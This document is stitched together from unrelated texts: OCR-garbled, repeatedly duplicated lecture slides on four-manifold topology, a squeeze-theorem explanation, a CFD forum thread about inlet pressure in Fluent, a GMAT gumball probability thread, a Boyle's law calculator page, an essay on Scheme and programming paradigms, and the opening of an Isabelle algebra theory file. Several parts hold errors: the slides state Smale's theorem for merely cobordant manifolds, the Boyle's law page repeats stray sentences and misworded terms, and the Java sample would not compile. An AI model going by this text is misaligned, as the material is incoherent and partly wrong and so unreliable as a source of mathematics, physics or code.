H2mCP)∼=H2(∨mS2)∼=H2(X0;Z) =H2(X;Z) these classes can be seen in X.
We are done since hPD−1([Si2])^PD−1([Sj2]),h([e4])i= hωi, ωj,[X]i=Q(ωi, ωj)
(50)
Milnor’s Theorem
Proof.
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
Oriented manifold: [h] is determined by αk(h([e4])) for α1, ..., αl basis of H4mCP).
Basis is given by cupping PD−1([Si2]). Since
H2mCP)∼=H2(∨mS2)∼=H2(X0;Z) =H2(X;Z) these classes can be seen in X.
We are done since hPD−1([Si2])^PD−1([Sj2]),h([e4])i= hωi, ωj,[X]i=Q(ωi, ωj)
(51)
Milnor’s Theorem
Exercise
Fill in the gaps in the proof sketch.
(52)
## The “Big” Structure Theorems
(53)
Freedman’s Theorem
Theorem (Freedman)
Let Q be an quadratic (i.e. unimodular symmetric bilinear) form overZ, then there exists a topological 4-manifold M s.t. Q is (up to isomorphism) the intersection form of M. If Q is even, then M is unique.
(54)
Rohlin’s Theorem
Theorem (Rohlin)
Let X be a simply-connected closed oriented smooth 4-manifold with w2(X) = 0. Then
signQX ∈16Z.
The original proof by Rohlin is very involved. Simpler proof due to Atiyah and Singer using the Atiyah-Singer index theorem.
Reference: [2, Theorem 29.9]
(55)
Rohlin’s Theorem
Theorem (Rohlin)
Let X be a simply-connected closed oriented smooth 4-manifold with w2(X) = 0. Then
signQX ∈16Z.
The original proof by Rohlin is very involved. Simpler proof due to Atiyah and Singer using the Atiyah-Singer index theorem.
Reference: [2, Theorem 29.9]
(56)
Rohlin’s Theorem
Corollary
Let X be a simply-connected closed oriented smooth 4-manifold with even intersection form QX. Then
signQX ∈16Z.
(57)
Rohlin’s Theorem
Corollary
There exists a simply-connected closed 4-manifold E8 with intersection form E8 that has no smooth structure.
Proof.
E8 is a negative definite even form with signature -8. The existence is given by Freedman’s theorem.
(58)
Rohlin’s Theorem
Corollary
There exists a simply-connected closed 4-manifold E8 with intersection form E8 that has no smooth structure.
Proof.
E8 is a negative definite even form with signature -8. The existence is given by Freedman’s theorem.
(59)
Donaldson’s Theorem
Theorem (Donaldson)
Let X be a simply-connected closed smooth 4-manifold. If Q is definite, Q is diagonalizable overZ.
(60)
Donaldson’s Theorem
Corollary
Let X be a simply-connected closed smooth 4-manifold. If Q is positive-definite then
X ∼= #kCP2 as topological manifolds.
(61)
## Dimension Four
(62)
h-Cobordisms
Definition
LetM andN be closed simply-connected manifolds andW be a cobordism between them (i.e. ∂W =M∪N). If the inclusions¯ M →W andN →W are homotopy equivalences, thenM andN are calledh-cobordant.
(63)
h-Cobordisms
Theorem (Wall)
Two simply-connected four-manifolds with isomorphic intersection form are h-cobordant.
(64)
The h-Cobordism Theorem
Theorem (Smale (1961))
Let M and N be cobordant smooth n-manifolds with n>4. Then M and N are diffeomorphic.
Warning: This theorem only holds forn ≥5.
(65)
The Culprit
Why does the (smooth) h-cobordism principle fail in dimension four?
2 + 2<4 is optimistic but sadly wrong!
That is not so helpful, we are looking for a longer answer.
(66)
The Culprit
Why does the (smooth) h-cobordism principle fail in dimension four?
The statement
2 + 2<4 is optimistic but sadly wrong!
That is not so helpful, we are looking for a longer answer.
(67)
The Culprit
Why does the (smooth) h-cobordism principle fail in dimension four?
The statement
2 + 2<4 is optimistic but sadly wrong!
That is not so helpful, we are looking for a longer answer.
(68)
The Culprit
Strategy of the proof in higher dimensions:
Goal: Show thatW ∼=M ×[0,1]
Choose a Morse function f :W →[0,1] withf(M) = 0 and f(N) = 1
Iff has no critical values we are done!
Idea: Modify f s.t. all critical values disappear
(69)
The Culprit
Strategy of the proof in higher dimensions:
Goal: Show thatW ∼=M ×[0,1]
Choose a Morse function f :W →[0,1] withf(M) = 0 and f(N) = 1
Iff has no critical values we are done!
Idea: Modify f s.t. all critical values disappear
(70)
The Culprit
Strategy of the proof in higher dimensions:
Goal: Show thatW ∼=M ×[0,1]
Choose a Morse function f :W →[0,1] withf(M) = 0 and f(N) = 1
Iff has no critical values we are done!
Idea: Modify f s.t. all critical values disappear
(71)
The Culprit
Strategy of the proof in higher dimensions:
Goal: Show thatW ∼=M ×[0,1]
Choose a Morse function f :W →[0,1] withf(M) = 0 and f(N) = 1
Iff has no critical values we are done!
Idea: Modify f s.t. all critical values disappear
(72)
The Culprit
Figure 1: Cancelling an index 0 critical point with an index 1 critical point. From [3]
(73)
The Culprit
Removing critical points of index 0,1,4,5 works in dimension four.
But: Canceling critical points of index 3 and 2 does not work (with this method).
(74)
The Culprit
Supposef has two critical points: p of index 2 and q of index 3
Let p and q be separated by Z1/2 =f−1(12)
Fact: p andq can be canceled if there is exactly one flow line from p to q
(75)
The Culprit
Supposef has two critical points: p of index 2 and q of index 3
Let p and q be separated by Z1/2 =f−1(12)
Fact: p andq can be canceled if there is exactly one flow line from p to q
(76)
The Culprit
Supposef has two critical points: p of index 2 and q of index 3
Let p and q be separated by Z1/2 =f−1(12)
Fact: p andq can be canceled if there is exactly one flow line fromp to q
(77)
The Culprit
We define
S+={x∈Z1/2 |x flows top as t→ ∞}
S={x∈Z1/2 |x flows toq as t → −∞}.
These are embedded spheres. IfStS+ is a single point we can glue the flow lines and are done.
(78)
The Culprit
Figure 2: Analogy in dimension three showingS+andS intersection transversely and the resulting flow line. From [3]
(79)
The Culprit
The algebraic intersection number is 1 becauseW is h-cobordism.
Problem: The geometric intersection number might not agree! We need an isotopy to correct this.
(80)
The Whitney Disk
Usual procedure:
Choose intersection points with opposite signs, e.g. x andy
Find path α⊂S+ and β⊂S joining them
W simply-connected =⇒ α∪β inessential
There is a diskD ⊂W with ∂D =α∪β
If the disk lies outside S+ and S we get an isotopy removing the intersection points
(81)
The Culprit
(82)
The Whitney Disk
In dimensionn ≥5:
D is generically embedded
D generically does not intersectS+ andS in any interior points
(83)
The Whitney Disk
In dimensionn ≥5:
D is generically embedded
D generically does not intersectS+ andS in any interior points
In dimension four on the other hand both is not true! The intersection form makes this clear.
(84)
Final Note
With the existence of non-smooth manifolds one the one hand and the failure of the h-cobordism on the other hand, we see that the topology and geometry of four-manifolds is quite unique.
(85)
## Thank you for your attention!
(86)
References
Alexandru Scorpan.
The wild world of 4-manifolds.
Providence, R.I., 2005.
Thomas Walpuski.
MTH 993 Spring 2018: Spin Geometry.
https://walpu.ski/Teaching/SpinGeometry.pdf.
Simon K Donaldson and Peter B Kronheimer.
The geometry of four-manifolds.
Oxford mathematical monographs. Oxford, 1. publ. in pbk.
edition, 1997.
Updating...
## References
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#### The Six Pillars of Calculus
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### The Squeeze Theorem
The sandwich (aka squeeze) theorem is very useful for computing limits like $\displaystyle \lim_{x \to 0} \frac{\sin(x)}{x}$. It says that if $g(x)$ is sandwiched between $f(x)$ and $h(x)$, and $f(x)$ and $h(x)$ have the same limit $L$ as $x \to a$, then $g(x)$ also approaches $L$ as $x\to a$:
Theorem: Suppose that $f(x) \le g(x) \le h(x)$ for all $x$ that are close to (but not equal to) $a$, and that $\displaystyle\lim_{x \to a} f(x) = \lim_{x \to a} h(x) = L$. Then $\displaystyle\lim_{x \to a} g(x) = L$.
When $x$ is close to $a$, $f(x)$ and $h(x)$ are close to $L$. So $g(x)$ is somewhere between (a number close to $L$) and (another number close to $L$). This means that $g(x)$ must be close to $L$!
Example: Evaluate $\displaystyle{\lim_{x \to 0} x^2 \sin\left(1/x\right)}$. Solution: Since $-1 \le \sin(1/x)\le 1$, we have $$-x^2 \le x^2 \sin(1/x) \le x^2.$$ so $g(x)=x^2 \sin(1/x)$ is squeezed (or sandwiched) between $f(x)=-x^2$ and $h(x)=x^2$. Since both $-x^2$ and $x^2$ approach 0 as $x \to 0$, we must also have $$\lim_{x \to 0} x^2 \sin(1/x) = 0.$$ | 1,326 | 4,988 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5 | 4 | CC-MAIN-2024-38 | latest | en | 0.781059 |
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Asghari September 20, 2006 06:46
Setting pressure and velocity in inlet
Hi all;
I would like to set pressure and velocity in inlet ,synchronously. How is this possible?
Thanks.
Asghari September 20, 2006 11:58
Re: setting guage pressure to zero in a inlet node
Really, in start of soloution , after 20 iteration , i finded gauge pressure in outlet approaches to zero and soloution diverges ,wheras, i expected at least in a inlet node,gauge pressure approach to zero due to i fixed operating pressure in a inlet node location. Why this happended? please help me .
Thanx alot.
Asghari September 21, 2006 03:40
Re: setting guage pressure to zero in a inlet node
I still am waiting for anybody who can help me, But if you can ,give me a udf or a method that can fix operating (absolute) pressure in a specified inlet location ( because of i use a equation such as state ideal gas equation for density) my problem will be solved .
Jason September 21, 2006 09:54
Re: setting guage pressure to zero in a inlet node
From what I can tell, you're trying to use a Velocity inlet condition with the ideal gas law. This will not work... look at the Fluent documentation for their BCs (it specifically states that a Velocity inlet can not be used in a compressible case because it does not fix the total pressure).
Change your BCs... use a pressure inlet or a mass flow inlet.
Good luck, Jason
Asghari September 22, 2006 09:36
Re: setting guage pressure to zero in a inlet node
Thank you But, I am using udf for defining density in incompressible flow and i want to set velocity in inlet and pressure setting only in a inlet point.
User guide tells us:
" Operating pressure is significant for incompressible ideal gas flows because it directly determines the density: the incompressible ideal gas law computes density as density=(operating pressure)/(RT). Operating pressure is significant for low-Mach-number compressible flows because of its role in avoiding roundoff error problems. Operating pressure is less significant for higher-Mach-number compressible flows. The pressure changes in such flows are much larger than those in low-Mach-number compressible flows, so there is no real problem with roundoff error and there is therefore no real need to use gauge pressure. If the density is assumed constant or if it is derived from a profile function of temperature, the operating pressure is not used at all. "
But in my udf , also i use another dependent pressure equation for density defining, therefor, i need to absolute pressure for defining pressure.
For this purpose , i set 101325 value as operating pressure value in operating pressure panel & also i set location of this reference pressure in inlet and i do'nt need to constant total pressure in all of inlet , i would like to specify pressure only in a inlet point to 101325.(just as set in operating pressure menu).
But apparently this do'nt work and pressure in outlet domain is about 101325 and pressure in inlet is more than outlet (nearly 120000) and is'nt 101325 in a inlet position.
san September 22, 2006 13:23
Re: setting guage pressure to zero in a inlet node
Hi,
as per my understanding of the problem description,
since flow is incompressible, i.e density=constant pressure drop is negligible in your case (probabally)
at operating pressure specify static pressure. give inlet BC as velocity ( indirectly fixing mass flow) at exit give outlet static pressure.
i hope your problem will be solved if still ur problem is not solved please explain the physics involved.
bye san
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# A gumball machine contains 7 blue, 5 green, and 4 red
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A gumball machine contains 7 blue, 5 green, and 4 red [#permalink]
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22 Oct 2012, 00:22
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A gumball machine contains 7 blue, 5 green, and 4 red gumballs - identical besides colour. If the machine disperses 3 gumballs at random, what is the probability that it dispenses one of each colour.
Use the comibatorics method only!
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Re: A gumball machine contains... [#permalink]
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22 Oct 2012, 00:27
I tried to solve using combinatorics but I was wrong - answer below.
I thought there is 16 balls in total and if we select three from 16, we have 16!/3!13! ways to choose three balls.
BGR is one of each and there is 6 ways of organising
we have 1C7x 1C5 x 1C4 x 6 / number of ways to choose three balls
so we have 7 x 5 x 4 x 6 / 16 x 15 x 14 x 3 x 2
Simplifying the sixes 7 x 5 x 4 / 16 x 15 x 14
simplifying 7 and 14 1 x 5 x 4 / 16 x 15 x 2
Simplifying 5 and 15 1 x 1 x 4 / 16 x 3 x 2
Simplifying 4, 16 1 x 1 x 1 / 4 x 3 x 2
However
Using simple probabilities
6x 7/16 x 5/15 x 4/14 = 1/4
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Re: A gumball machine contains... [#permalink]
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22 Oct 2012, 01:35
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Total No. of ways to select 3 out of 16 is = 16C3
No. Of ways to select one blue ball = 7C1
No. Of ways to select one green ball = 5C1
No. Of ways to select one red ball = 4C1
So. total no. of ways for favourable outcome = 7*5*4 = 140
So Probability = 140/560 = 1/4
When using simple probability, after choosing the first ball, there are only 15 balls to choose from and one less of the color that has already been chosen and after selecting the second, there are only 14 balls to choose from and one less of the color that has already been chosen and so on. Hence order has to be taken into account.
However while using combinations, the order does not matter as we are selecting one ball from one color only each time.
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Re: A gumball machine contains... [#permalink]
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22 Oct 2012, 02:49
jordanshl wrote:
I tried to solve using combinatorics but I was wrong - answer below.
I thought there is 16 balls in total and if we select three from 16, we have 16!/3!13! ways to choose three balls.
BGR is one of each and there is 6 ways of organising
we have 1C7x 1C5 x 1C4 x 6 / number of ways to choose three balls
so we have 7 x 5 x 4 x 6 / 16 x 15 x 14 x 3 x 2
Simplifying the sixes 7 x 5 x 4 / 16 x 15 x 14
simplifying 7 and 14 1 x 5 x 4 / 16 x 15 x 2
Simplifying 5 and 15 1 x 1 x 4 / 16 x 3 x 2
Simplifying 4, 16 1 x 1 x 1 / 4 x 3 x 2
However
Using simple probabilities
6x 7/16 x 5/15 x 4/14 = 1/4
You did a computational mistake, the 3! from the denominator of 16C3 should go up to the numerator.
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Re: A gumball machine contains... [#permalink]
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22 Oct 2012, 07:35
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jordanshl wrote:
A gumball machine contains 7 blue, 5 green, and 4 red gumballs - identical besides colour. If the machine disperses 3 gumballs at random, what is the probability that it dispenses one of each colour.
Use the comibatorics method only!
We need to find the probability of BGR (a marble of each color).
Probability approach:
$$P(BGR)=\frac{7}{16}*\frac{5}{15}*\frac{4}{14}*3!=\frac{1}{4}$$, we are multiplying by 3! since BGR scenario can occur in several different ways: BGR, BRG, RBG, ... (# of permutations of 3 distinct letters BGR is 3!).
Combination approach:
$$P(BGR)=\frac{C^1_7*C^1_5*C^1_4}{C^3_{16}}=\frac{1}{4}$$.
Hope it's clear.
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Re: A gumball machine contains... [#permalink]
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09 Jul 2013, 07:05
Bunuel wrote:
jordanshl wrote:
A gumball machine contains 7 blue, 5 green, and 4 red gumballs - identical besides colour. If the machine disperses 3 gumballs at random, what is the probability that it dispenses one of each colour.
Use the comibatorics method only!
We need to find the probability of BGR (a marble of each color).
Probability approach:
$$P(BGR)=\frac{7}{16}*\frac{5}{15}*\frac{4}{14}*3!=\frac{1}{4}$$, we are multiplying by 3! since BGR scenario can occur in several different ways: BGR, BRG, RBG, ... (# of permutations of 3 distinct letters BGR is 3!).
Combination approach:
$$P(BGR)=\frac{C^1_7*C^1_5*C^1_4}{C^3_{16}}=\frac{1}{4}$$.
Hope it's clear.
Is there a way to solve this using $$\frac{16!}{7!*5!*4!}$$ as the denominator?
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Re: A gumball machine contains... [#permalink]
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09 Jul 2013, 23:14
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elementbrdr wrote:
Bunuel wrote:
jordanshl wrote:
A gumball machine contains 7 blue, 5 green, and 4 red gumballs - identical besides colour. If the machine disperses 3 gumballs at random, what is the probability that it dispenses one of each colour.
Use the comibatorics method only!
We need to find the probability of BGR (a marble of each color).
Probability approach:
$$P(BGR)=\frac{7}{16}*\frac{5}{15}*\frac{4}{14}*3!=\frac{1}{4}$$, we are multiplying by 3! since BGR scenario can occur in several different ways: BGR, BRG, RBG, ... (# of permutations of 3 distinct letters BGR is 3!).
Combination approach:
$$P(BGR)=\frac{C^1_7*C^1_5*C^1_4}{C^3_{16}}=\frac{1}{4}$$.
Hope it's clear.
Is there a way to solve this using $$\frac{16!}{7!*5!*4!}$$ as the denominator?
Yes.
Total # of outcomes: $$\frac{16!}{7!*5!*4!}$$ (the number of arrangements of the mables).
Favorable outcomes: we need the first three marbles to be BGR in any combination, so 3!. The remaining 13 marbles (6 blue, 4 green, and 3 red) can be arranged in 13!/(6!4!3!).
P = (Favorable)/(Total) = $$\frac{(3!\frac{13!}{6!4!3!})}{(\frac{16!}{7!*5!*4!})}=\frac{1}{4}$$.
Hope it's clear.
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When it comes to estimating the properties of a gas in an isothermal process, this Boyle's law calculator comes in handy. Boyle's Law Calculator is a free online application that calculates a gas's pressure or volume.
Choose a Calculation
Initial Pressure(p1):
Initial Volume(v1):
Final Pressure(p2):
Final Volume(v2):
Boyle's Law Calculator: Boyle's law calculation tool speeds up computations and displays a gas's velocity or quantity in a split second. Read on to learn about Boyle's law formula, see some practical examples of Boyle's law exercises, and recognise when a process satisfies Boyle's law on a graph.
## Boyle's Law - Definition
Boyle's law defines the behaviour of an ideal gas during an isothermal transition, in which the temperature and internal energy of the gas remain constant. The relationship between a gas's pressure and its volume at a constant temperature and mass is described by Boyle's law (also known as Boyle-Mariotte law). The absolute pressure is inversely proportional to the volume, according to this principle.
The product of pressure and volume of a gas in a closed system stays constant as long as the temperature remains constant, according to Boyle's law.
## Boyle’s Law Derivation and Formula
Boyle's law, one of the gas laws in chemistry, asserts that a gas's pressure is inversely proportional to its volume at a constant temperature. Boyle's law, to put it differently, states that volume and pressure are inversely related. The relationship between pressure and volume can be expressed mathematically as
P ∝ (1/V)
Boyle's law provides the formula for calculating the volume of a gas. i.e. P1V1 = P2V2
• Where, P1, P2 are the original and final pressures.
• V1, V2 are the first and last volumes.
### How to Use Boyle’s Law Calculator?
The following are the steps that describe how to use the Boyle's law calculator and they are as follows
• Enter for the unknown in the input field among pressure, volume.
• To get the pressure or volume, click the Calculate button now.
• Enter the input mass of the substance.
• Eventually, using Boyle's law, the pressure or volume of a gas will be printed in the output field.
### Applications of Boyle's Law in Real Life
Carnot Heat Engine: The Carnot Heat Engine is made up of four thermodynamic systems, two of whom are isothermal and so satisfy Boyle's law. This model can inform us who the heat engine's maximum efficiency is.
Breathing: Boyle's law can also be used to describe breathing. When you take a breath, your diaphragm and intercostal muscles expand the volume of your lungs, resulting in a reduction in gas pressure. Air enters the lungs as it moves from a higher pressure area to a lower pressure area, allowing us to take in oxygen from the environment. Because the capacity of the lungs decreases during exhalation, the pressure inside the lungs is higher than outside, causing air to move in the opposite direction.
Gas Storage: Boyle's Law is presently used in practically every business for the storage of gases in some way. Gases are severely pressured in order to fit into a tiny container, resulting in a reduction in the volume of the gas.For instance, we use deodorants, and the most frequent one is the LPG (Liquefied Petroleum Gas) gas container that we use for cooking.
Syringe: When you need to give an injection, a nurse or doctor will first pull a liquid from a vial containing. They use a syringe to do so. The accessible volume is increased as the plunger is pulled, resulting in a decrease in pressure and, according to Boyle's law formula, fluid attraction. For instance, we use deodorants, and the most frequent one is the LPG (Liquefied Petroleum Gas) gas container that we use for cooking.
### Boyle's Law Examples
Example 1:
Assume we have a flexible container that holds a gas.The initial pressure is 100 kPa (or 105 Pa in scientific notation), and the container has a capacity of 2 m3. We reduce the volume of the box to 1 m3, but leave the temperature unchanged. How does the gas pressure change?
Solution:
Given that
p₁ = 100 Kpa
V₁ = 2 m³
V₂= 1 m³
Boyle's law formula can be used: p₂ = p₁ * V₁ / V₂ = 100 kPa * 2 m³ / 1 m³ = 200 kPa.
Example 2:
Boyle's law involves a gas with a pressure of 2.5 atm and a volume of 6 litres. The pressure is then reduced isothermally to 0.2 atm. Find the final volume?
Solution:
Given that
p₁ = 2.5 atm
p₁ = 0.2 atm
V₁ = 6 l
V₂= ?
Boyle's law equation can be rewritten as such V₂ = p₁ * V₁ / p₂ = 2.5 atm * 6 l / 0.2 atm = 75 l.
### Importance of Boyle's Law
Boyle's law is significant since it was the first to characterise the behaviour of gases. It indicated that gases spread in the medium, meaning that when the pressure is reduced, the volume grows, and when the gas is compressed, the volume shrinks. When the pressure on a certain amount of gas varies, the size of the gas changes inversely proportionally to the pressure, as long as the temperature remains constant.
PV = K is the mathematical equation that describes the law. In chemistry, it has become a fundamental law.
### FAQ’s on Boyle's Law Calculator
1. In layman's words, what is Boyle's law?
Boyle's Law is a fundamental chemistry law that describes how a gas behaves when kept at a constant temperature. The rule asserts that at a constant temperature, the volume of a gas is inversely proportional to the pressure exerted by the gas. It was discovered by Robert A. Boyle in 1662.
2. In Boyle's law, what is 22.4 L?
Equal quantities of gas at the same temperature and pressure contained the same number of particles, according to Avogadro. Remember that any gas at STP has a volume of 22.4L.
Moles = mass of the substance in grams/molecular weight.
3. Before solving Boyle's law, how is the equation rearranged?
The Boyle's law equation can be rearranged to solve for any factor. Divide both sides by P2 to get the answer for V2. The pressure inside the lungs rises. Air travels from the lungs' higher pressure to the outside.
4. What is the graph of Boyle's Law?
The PV curve is the curve of Boyle's law. Since the statement states that volume and pressure are inversely related at a fixed temperature, this graph of Boyle's law is not linear but hyperbolic. If a result, as the pressure rises, the volume falls, and vice versa. | 1,485 | 6,338 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.765625 | 4 | CC-MAIN-2022-27 | longest | en | 0.918979 |
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## History of scheme
Scheme programming language started with development of earlier programming languages such as Lisp and ALGOL.
Lisp was invented in the MIT University by John McCarthy in 1958 and ALGOL was created in 1958 at ETH Zurich in a meeting of European and American computer scientists.
Scheme language took its syntax from Lisp, and lexical scope and block structure from ALGOL. In 1971 Sussman, Drew McDermott, and Eugene Charniak had developed Micro-Planner.
Since there were problems in the Planner, Hewitt and his students invented the Actor model of computation in 1972.
Steele and Sussman then wrote a Lisp Interpreter using Maclisp and then added mechanisms to it to understand Carl Hewitt’s Actor model. They decided to try model Actors in the lambda calculus. They called their modelling system Schemer since there was a tradition in calling lisp-driver languages such as Planner or Conniver. Scheme was called Schemer at the beginning which was stand for Scheme Programmer. [1]
## What is Scheme
Scheme is a functional programming language which is similar to the other Lisp programming language and is based on S-Expressions. A scheme program consists of nested lists which are main data structures in this language. A good feature of scheme programming language is that codes can easily be created and executed dynamically. Scheme contains a set of list processing functions such as cons, car and cdr which can be used to process lists and produce new lists. [2]
Scheme is a very simple language; it is easy to use lambda calculus to derive much of the syntax of the language from more primitive forms. [2]
## What is an S-Expression?
S-Expression is a list based data structure. It can be a nested list of other S-Expressions and represented in text by parenthesized. Atoms are strings of characters and all atoms are S-Expressions, so all atoms and lists are S-Expressions [3].
Here are examples of S-Expresions:
abc atoms are S-Expressions
(a b c) lists are S-Expressions
(a (b) c) nested lists are S-Expressions
An S-Expression can be a string, a symbol, a number, a boolean, a char, or a list of S-expressions.
It is possible to use sexp? function to check if the given value is S-Expression:
(require 2htdp/universe)
> (sexp? ‘abc)
#t
> (sexp? “a”)
#t
> (sexp? ‘(a (b) c))
#t
Description of the different programming paradigms
There are 3 programming paradigms including: Functional ProgrammingProcedural Programming and Object-oriented Programming.
1. Functional Programming
Functions, not objects or procedures, are the fundamental building blocks of a program. So programs are designed by the composition of functions. SCHEME, Lisp, HOPE and ML are examples of functional programming. Functional programming has functions to process lists easily [4].
1. Imperative programming (Procedural Programming)
A program is a series of instructions which operate on variables. It is also known as procedural programming. FORTRAN, ALGOL, Pascal, C, MODULA2, Ada and BASIC are examples of procedural programming [5].
1. Object-oriented Programming
Object oriented programming is characterised by the defining of classes of objects, and their properties. It is possible to Inheritance of properties to reducing the amount of programming. Java and C++ are examples of object-oriented programming [6].
Example code snippets to demonstrate the principal differences
• Functional Programming:(define sum
(lambda(x y)
(+ x y)))
> (sum 1 2)
It is possible to apply a function to a list easily.
Here is a sample to add VAT to a list of numbers:
(define add-vat
(lambda (x)
(+ (* x 0.175) x)))
(map add-vat ‘(100 200 150 120 130))
Result:
(117.5 235.0 176.25 141.0 152.75)
• Object oriented programming:
class MyMath
{
public MyMath()
{
}
public int sum(int x, int y)
{
return x+y;
}
}
public class Main{
public static void main(String args[])
{
MyMath math = new MyMath();
System.out.println(MyMath.sum(1,2));
}
}
• Imperative Programming
int sum(int x, int y)
{
return x + y;
}
int main(void) {
int c = sum(12, 230);
printf(“%d “, c);
}
Advantages & disadvantages of functional programming
• Advantages:
The major advantage is that a program written in a functional manner is easy to understand and functions are easily reusable.
Since it is possible to develop large software’s which consists of many functions, it is easily possible to test all the functions separately and their results. It is easy to write the program with few lines of code while doing the same takes a lot of coding using other programming languages, The reason is that you can easily map a function to a list and use list processing functions to produce the output.
Functional programming encourages safe ways of programming and also it is easy to catch exceptions and errors [4].
• Disadvantages:
The major disadvantage of functional programming is that it is difficulty of doing input-output because this is inherently non functional.
Another disadvantage is that functional programming is not widely used [4].
References:
1. History of the Scheme, [Online], Available at:http://en.wikipedia.org/wiki/History_of_the_Scheme_programming_language [20 May 2010]
2. Scheme programming language, [Online], available at:http://en.wikipedia.org/wiki/Scheme_%28programming_language%29 [22 May 2010]
3. S-Expression, [Online], available at: http://en.wikipedia.org/wiki/S-expression [22 May 2010]
4. Functional Programming, [Online], Available at: http://c2.com/cgi/wiki?FunctionalProgramming [19 May 2010]
5. Imperative Programming, [Online], Available at:http://en.wikipedia.org/wiki/Imperative_programming [22 May 2010]
6. Object Oriented Programming, [Online], Available at:
http://en.wikipedia.org/wiki/Object-oriented_programming [22 May 2010]
7. Programming paradigms, [Online], Available at:http://www.comp.glam.ac.uk/pages/staff/efurse/teaching/pp/Introduction.html [20 May 2010]
8. Functional Programming, [Online], Available at: http://c2.com/cgi/wiki?AdvantagesOfFunctionalProgramming [20 May 2010]
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author paulson Thu Jun 14 14:23:38 2018 +0100 (10 months ago) changeset 68445 c183a6a69f2d parent 68443 43055b016688 child 68517 6b5f15387353 permissions -rw-r--r--
reorganisation of Algebra: new material from Baillon and Vilhena, removal of duplicate names, elimination of "More_" theories
``` 1 (* Title: HOL/Algebra/Ring.thy
```
``` 2 Author: Clemens Ballarin, started 9 December 1996
```
``` 3 Copyright: Clemens Ballarin
```
``` 4 *)
```
``` 5
```
``` 6 theory Ring
```
``` 7 imports FiniteProduct
```
``` 8 begin
```
``` 9
```
``` 10 section \<open>The Algebraic Hierarchy of Rings\<close>
```
``` 11
```
``` 12 subsection \<open>Abelian Groups\<close>
```
``` 13
```
``` 14 record 'a ring = "'a monoid" +
```
``` 15 zero :: 'a ("\<zero>\<index>")
```
``` 16 add :: "['a, 'a] \<Rightarrow> 'a" (infixl "\<oplus>\<index>" 65)
```
``` 17
```
``` 18 abbreviation
```
``` 19 add_monoid :: "('a, 'm) ring_scheme \<Rightarrow> ('a, 'm) monoid_scheme"
```
``` 20 where "add_monoid R \<equiv> \<lparr> carrier = carrier R, mult = add R, one = zero R, \<dots> = (undefined :: 'm) \<rparr>"
```
``` 21
```
``` 22 text \<open>Derived operations.\<close>
```
``` 23
```
``` 24 definition
```
``` 25 a_inv :: "[('a, 'm) ring_scheme, 'a ] \<Rightarrow> 'a" ("\<ominus>\<index> _" [81] 80)
```
``` 26 where "a_inv R = m_inv (add_monoid R)"
```
``` 27
```
``` 28 definition
```
``` 29 a_minus :: "[('a, 'm) ring_scheme, 'a, 'a] => 'a" ("(_ \<ominus>\<index> _)" [65,66] 65)
```
``` 30 where "x \<ominus>\<^bsub>R\<^esub> y = x \<oplus>\<^bsub>R\<^esub> (\<ominus>\<^bsub>R\<^esub> y)"
```
``` 31
```
``` 32 definition
```
``` 33 add_pow :: "[_, ('b :: semiring_1), 'a] \<Rightarrow> 'a" ("[_] \<cdot>\<index> _" [81, 81] 80)
```
``` 34 where "add_pow R k a = pow (add_monoid R) a k"
```
``` 35
```
``` 36 locale abelian_monoid =
```
``` 37 fixes G (structure)
```
``` 38 assumes a_comm_monoid:
```
``` 39 "comm_monoid (add_monoid G)"
```
``` 40
```
``` 41 definition
```
``` 42 finsum :: "[('b, 'm) ring_scheme, 'a \<Rightarrow> 'b, 'a set] \<Rightarrow> 'b" where
```
``` 43 "finsum G = finprod (add_monoid G)"
```
``` 44
```
``` 45 syntax
```
``` 46 "_finsum" :: "index \<Rightarrow> idt \<Rightarrow> 'a set \<Rightarrow> 'b \<Rightarrow> 'b"
```
``` 47 ("(3\<Oplus>__\<in>_. _)" [1000, 0, 51, 10] 10)
```
``` 48 translations
```
``` 49 "\<Oplus>\<^bsub>G\<^esub>i\<in>A. b" \<rightleftharpoons> "CONST finsum G (\<lambda>i. b) A"
```
``` 50 \<comment> \<open>Beware of argument permutation!\<close>
```
``` 51
```
``` 52
```
``` 53 locale abelian_group = abelian_monoid +
```
``` 54 assumes a_comm_group:
```
``` 55 "comm_group (add_monoid G)"
```
``` 56
```
``` 57
```
``` 58 subsection \<open>Basic Properties\<close>
```
``` 59
```
``` 60 lemma abelian_monoidI:
```
``` 61 fixes R (structure)
```
``` 62 assumes "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y \<in> carrier R"
```
``` 63 and "\<zero> \<in> carrier R"
```
``` 64 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<oplus> z = x \<oplus> (y \<oplus> z)"
```
``` 65 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<zero> \<oplus> x = x"
```
``` 66 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y = y \<oplus> x"
```
``` 67 shows "abelian_monoid R"
```
``` 68 by (auto intro!: abelian_monoid.intro comm_monoidI intro: assms)
```
``` 69
```
``` 70 lemma abelian_monoidE:
```
``` 71 fixes R (structure)
```
``` 72 assumes "abelian_monoid R"
```
``` 73 shows "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y \<in> carrier R"
```
``` 74 and "\<zero> \<in> carrier R"
```
